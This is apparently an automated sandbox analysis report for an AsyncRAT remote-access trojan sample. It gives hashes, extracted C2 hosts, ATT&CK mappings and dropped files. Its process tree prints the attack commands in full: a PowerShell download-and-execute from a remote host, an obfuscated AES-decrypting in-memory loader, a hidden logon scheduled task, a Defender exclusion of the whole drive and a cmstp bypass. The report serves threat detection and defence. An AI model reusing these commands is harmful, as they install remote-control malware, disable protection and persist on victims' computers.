asyncrat | 1034cb1effff3e411b07d3d8a318b5b6d4164d3feea9151c857715abd8ee2f9e

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-12-2024 20:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1821_output.vbs
Size

61KB
MD5

6943e4c37b93c2a81a98a81e36d2d5ce
SHA1

ad2ba17165344f88b6bf0befaac528feb8a3280f
SHA256

57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f
SHA512

78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80
SSDEEP

768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jt8iyre.localto.net:55644

jt8iyre.localto.net:2101

Mutex

WzRdrlEJS302

Attributes

delay
3
install
false
install_file
dwmm.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/3228-123-0x0000000007CC0000-0x0000000007CD2000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	736	powershell.exe
42	3228	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
736	powershell.exe
4760	powershell.exe
3228	powershell.exe
4512	powershell.exe
2176	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4784	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
736	powershell.exe
736	powershell.exe
4512	powershell.exe
4512	powershell.exe
2176	powershell.exe
2176	powershell.exe
4760	powershell.exe
4760	powershell.exe
3228	powershell.exe
3228	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	736	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	4784	taskkill.exe
Token: SeDebugPrivilege	2176	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeIncreaseQuotaPrivilege	4760	powershell.exe
Token: SeSecurityPrivilege	4760	powershell.exe
Token: SeTakeOwnershipPrivilege	4760	powershell.exe
Token: SeLoadDriverPrivilege	4760	powershell.exe
Token: SeSystemProfilePrivilege	4760	powershell.exe
Token: SeSystemtimePrivilege	4760	powershell.exe
Token: SeProfSingleProcessPrivilege	4760	powershell.exe
Token: SeIncBasePriorityPrivilege	4760	powershell.exe
Token: SeCreatePagefilePrivilege	4760	powershell.exe
Token: SeBackupPrivilege	4760	powershell.exe
Token: SeRestorePrivilege	4760	powershell.exe
Token: SeShutdownPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeSystemEnvironmentPrivilege	4760	powershell.exe
Token: SeRemoteShutdownPrivilege	4760	powershell.exe
Token: SeUndockPrivilege	4760	powershell.exe
Token: SeManageVolumePrivilege	4760	powershell.exe
Token: 33	4760	powershell.exe
Token: 34	4760	powershell.exe
Token: 35	4760	powershell.exe
Token: 36	4760	powershell.exe
Token: SeIncreaseQuotaPrivilege	4760	powershell.exe
Token: SeSecurityPrivilege	4760	powershell.exe
Token: SeTakeOwnershipPrivilege	4760	powershell.exe
Token: SeLoadDriverPrivilege	4760	powershell.exe
Token: SeSystemProfilePrivilege	4760	powershell.exe
Token: SeSystemtimePrivilege	4760	powershell.exe
Token: SeProfSingleProcessPrivilege	4760	powershell.exe
Token: SeIncBasePriorityPrivilege	4760	powershell.exe
Token: SeCreatePagefilePrivilege	4760	powershell.exe
Token: SeBackupPrivilege	4760	powershell.exe
Token: SeRestorePrivilege	4760	powershell.exe
Token: SeShutdownPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeSystemEnvironmentPrivilege	4760	powershell.exe
Token: SeRemoteShutdownPrivilege	4760	powershell.exe
Token: SeUndockPrivilege	4760	powershell.exe
Token: SeManageVolumePrivilege	4760	powershell.exe
Token: 33	4760	powershell.exe
Token: 34	4760	powershell.exe
Token: 35	4760	powershell.exe
Token: 36	4760	powershell.exe
Token: SeIncreaseQuotaPrivilege	4760	powershell.exe
Token: SeSecurityPrivilege	4760	powershell.exe
Token: SeTakeOwnershipPrivilege	4760	powershell.exe
Token: SeLoadDriverPrivilege	4760	powershell.exe
Token: SeSystemProfilePrivilege	4760	powershell.exe
Token: SeSystemtimePrivilege	4760	powershell.exe
Token: SeProfSingleProcessPrivilege	4760	powershell.exe
Token: SeIncBasePriorityPrivilege	4760	powershell.exe
Token: SeCreatePagefilePrivilege	4760	powershell.exe
Token: SeBackupPrivilege	4760	powershell.exe
Token: SeRestorePrivilege	4760	powershell.exe
Token: SeShutdownPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeSystemEnvironmentPrivilege	4760	powershell.exe
Token: SeRemoteShutdownPrivilege	4760	powershell.exe
Token: SeUndockPrivilege	4760	powershell.exe
Token: SeManageVolumePrivilege	4760	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1600 wrote to memory of 1000	1600	WScript.exe	82
PID 1600 wrote to memory of 1000	1600	WScript.exe	82
PID 1000 wrote to memory of 736	1000	cmd.exe	84
PID 1000 wrote to memory of 736	1000	cmd.exe	84
PID 736 wrote to memory of 1552	736	powershell.exe	86
PID 736 wrote to memory of 1552	736	powershell.exe	86
PID 1552 wrote to memory of 2496	1552	csc.exe	87
PID 1552 wrote to memory of 2496	1552	csc.exe	87
PID 736 wrote to memory of 4312	736	powershell.exe	88
PID 736 wrote to memory of 4312	736	powershell.exe	88
PID 1600 wrote to memory of 764	1600	WScript.exe	103
PID 1600 wrote to memory of 764	1600	WScript.exe	103
PID 764 wrote to memory of 2176	764	cmd.exe	105
PID 764 wrote to memory of 2176	764	cmd.exe	105
PID 764 wrote to memory of 2176	764	cmd.exe	105
PID 2176 wrote to memory of 4760	2176	powershell.exe	106
PID 2176 wrote to memory of 4760	2176	powershell.exe	106
PID 2176 wrote to memory of 4760	2176	powershell.exe	106
PID 2176 wrote to memory of 4456	2176	powershell.exe	109
PID 2176 wrote to memory of 4456	2176	powershell.exe	109
PID 2176 wrote to memory of 4456	2176	powershell.exe	109
PID 4456 wrote to memory of 1468	4456	WScript.exe	110
PID 4456 wrote to memory of 1468	4456	WScript.exe	110
PID 4456 wrote to memory of 1468	4456	WScript.exe	110
PID 1468 wrote to memory of 3228	1468	cmd.exe	112
PID 1468 wrote to memory of 3228	1468	cmd.exe	112
PID 1468 wrote to memory of 3228	1468	cmd.exe	112

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:736
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hqheuldx\hqheuldx.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1552
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES95B8.tmp" "c:\Users\Admin\AppData\Local\Temp\hqheuldx\CSC20DC45E6125F40CE8C171352629DC66.TMP"
        5⤵
        
        PID:2496
  - - C:\windows\system32\cmstp.exe
      "C:\windows\system32\cmstp.exe" /au C:\windows\temp\d0dty4hj.inf
      4⤵
      PID:4312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:764
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_997_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\latencyx997.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4760
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\latencyx997.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4456
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\latencyx997.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1468
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Roaming\latencyx997.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4512

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9751fcb3d8dc82d33d50eebe53abe314

SHA1
7a680212700a5d9f3ca67c81e0e243834387c20c

SHA256
ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

SHA512
54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
b39b8f81c005f71b68194a197dff72bd

SHA1
3e4f0bfd9e2ec005fb1126f157dc17d31634bb70

SHA256
46034d79d1c5c7406a8be126dec62ed6a925959a112786b717e4e8af280f7de5

SHA512
ae426dce8b7d8cf1377156fe4eab2d9af13e3c73eb0110e0e881f7d07f0a2f37f5b5766b4df63336330bd9d70cc32469fb0b3b1ae47c8f99f770bb624f5b6737

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
74d1002cda3a8f9a938b9dccb9a746b9

SHA1
ac8674cc788f31667cbcb9d87f824b59dca1f9eb

SHA256
691eef89596f30812d6e804b0301a33576e8e8e57f618e9e1200ba9ed87a7e43

SHA512
101127e270a542d1308d93559ec98ea28954cd76fd7bd0332f512424dae1e5e9807d24544bf2247760d33902bf0fdb784ff8479d21b45db542e624b47dfedad6

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES95B8.tmp

Filesize
1KB

MD5
a77a7e146691c2809fcb85ce6ce1a777

SHA1
1374ed3aa92d3dae42815fa3b341a3ac1c85ad88

SHA256
86c56dd9d1f8f14a86b77066b9f1e33c2b5809432e009be7c684e6ee48011630

SHA512
0b15cef5370099dfce0a6bcf8c7ec3d0ee9a45d1317bd2691d0341951584ad816dbd36ce3250cc322c4eafbbaa1c751a43628c4a60f80b5e63dbbb6ee111090f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ogloamp1.kx4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
53KB

MD5
5658af2134929280550a46a39d5d1254

SHA1
757ce11f87e3886b0320fca0bd6bf1f26968a25e

SHA256
942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

SHA512
e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\hqheuldx\hqheuldx.dll

Filesize
4KB

MD5
9364224a84b04fbce8bbbaefff3c28db

SHA1
6ea347522682e9ef936ec707721292300836bdf8

SHA256
5505a20e04c9bf14706852ab332b738c836a5dd194d8ee24fab04ed7895073fc

SHA512
4754fc740fa30cfddacd0737299f671cf885f57e489db7224dec82518b2808c66a97204419709b52c1b46d111a16f15137130dfb4ac644d811cca6d5d638b13d

Download Submit
C:\Users\Admin\AppData\Roaming\latencyx997.vbs

Filesize
111B

MD5
3ab0f8b3cb6d7a9afd717e9e4ba867af

SHA1
a672ae7d3a8decd06aef8c84a59bb0d1a18e18cc

SHA256
9ebef3a535675770a95db2af198a07ed0a89e606c67e7fdcf4139a6947807e82

SHA512
e9112760dad4b9cb3c97f9a9df3922fc4662598bf03eadbd65e42eaedee682d2913951feb309a2bdc0d5ad36c727543330201da2febd98257f9b7ff2a8adcfdb

Download Submit
C:\windows\temp\d0dty4hj.inf

Filesize
683B

MD5
a4fd12b94ad4ac06fabd8dd56dd5ff2b

SHA1
940d129205e04ba31b10a72d7a7a236a9ed0488b

SHA256
fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

SHA512
a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hqheuldx\CSC20DC45E6125F40CE8C171352629DC66.TMP

Filesize
652B

MD5
7f086bb9cc6e70088e9177b652e8420d

SHA1
4656ef996abc5ca6ba12367d5db83a928414e8b7

SHA256
3032f1b2710eb00598e2838b517d1ee31df8ab60454e829a0fe9a85682afe32a

SHA512
72d362c2be01dc99b504bf616d73c35a8b159ebb09404eb391f87e96d15f8186bdd6135364c02fe239762364fd52758d9263745ead23920e3a9c6da8f05ff90e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hqheuldx\hqheuldx.0.cs

Filesize
2KB

MD5
897ac4306f2a2524bc3c441bd00c72b9

SHA1
1703dbf9a2a78491dfd6685540d4691839e33b69

SHA256
a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

SHA512
2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\hqheuldx\hqheuldx.cmdline

Filesize
369B

MD5
89535e4411f5e4cc8255694c81809511

SHA1
c0bc1b5e485dca04e1fa436615c03593401961a9

SHA256
6072fc7786a0b7123d45a53518152e1b46d93183ebff967cacf8b64a0b10cde7

SHA512
42b41aa89425b1c295e5d39862c9a35873110ebbe3c7580206c25be3164d1e6be06d6fd52ec2dc4365d0246f71686bbd7234b98840057fae7f0541ac689b595b

Download Submit
memory/736-13-0x00000216919A0000-0x00000216919BC000-memory.dmp

Filesize
112KB

Download
memory/736-44-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/736-43-0x00007FFD78113000-0x00007FFD78115000-memory.dmp

Filesize
8KB

Download
memory/736-26-0x00000216AA860000-0x00000216AA868000-memory.dmp

Filesize
32KB

Download
memory/736-48-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/736-0-0x00007FFD78113000-0x00007FFD78115000-memory.dmp

Filesize
8KB

Download
memory/736-12-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/736-11-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/736-1-0x00000216AA390000-0x00000216AA3B2000-memory.dmp

Filesize
136KB

Download
memory/2176-56-0x00000000058F0000-0x0000000005956000-memory.dmp

Filesize
408KB

Download
memory/2176-73-0x0000000006680000-0x0000000006688000-memory.dmp

Filesize
32KB

Download
memory/2176-67-0x0000000005AB0000-0x0000000005E04000-memory.dmp

Filesize
3.3MB

Download
memory/2176-69-0x0000000006090000-0x00000000060AE000-memory.dmp

Filesize
120KB

Download
memory/2176-70-0x00000000060D0000-0x000000000611C000-memory.dmp

Filesize
304KB

Download
memory/2176-71-0x00000000078F0000-0x0000000007F6A000-memory.dmp

Filesize
6.5MB

Download
memory/2176-72-0x0000000006640000-0x000000000665A000-memory.dmp

Filesize
104KB

Download
memory/2176-55-0x00000000051D0000-0x00000000051F2000-memory.dmp

Filesize
136KB

Download
memory/2176-74-0x0000000007340000-0x00000000073DC000-memory.dmp

Filesize
624KB

Download
memory/2176-75-0x0000000007460000-0x000000000746E000-memory.dmp

Filesize
56KB

Download
memory/2176-76-0x0000000008520000-0x0000000008AC4000-memory.dmp

Filesize
5.6MB

Download
memory/2176-57-0x0000000005A10000-0x0000000005A76000-memory.dmp

Filesize
408KB

Download
memory/2176-54-0x00000000052C0000-0x00000000058E8000-memory.dmp

Filesize
6.2MB

Download
memory/2176-53-0x0000000002AA0000-0x0000000002AD6000-memory.dmp

Filesize
216KB

Download
memory/3228-123-0x0000000007CC0000-0x0000000007CD2000-memory.dmp

Filesize
72KB

Download
memory/4760-87-0x00000000076D0000-0x0000000007702000-memory.dmp

Filesize
200KB

Download
memory/4760-101-0x0000000007AD0000-0x0000000007B66000-memory.dmp

Filesize
600KB

Download
memory/4760-102-0x0000000007A50000-0x0000000007A61000-memory.dmp

Filesize
68KB

Download
memory/4760-100-0x00000000078C0000-0x00000000078CA000-memory.dmp

Filesize
40KB

Download
memory/4760-99-0x0000000007710000-0x00000000077B3000-memory.dmp

Filesize
652KB

Download
memory/4760-88-0x0000000070B40000-0x0000000070B8C000-memory.dmp

Filesize
304KB

Download
memory/4760-98-0x00000000076B0000-0x00000000076CE000-memory.dmp

Filesize
120KB

Download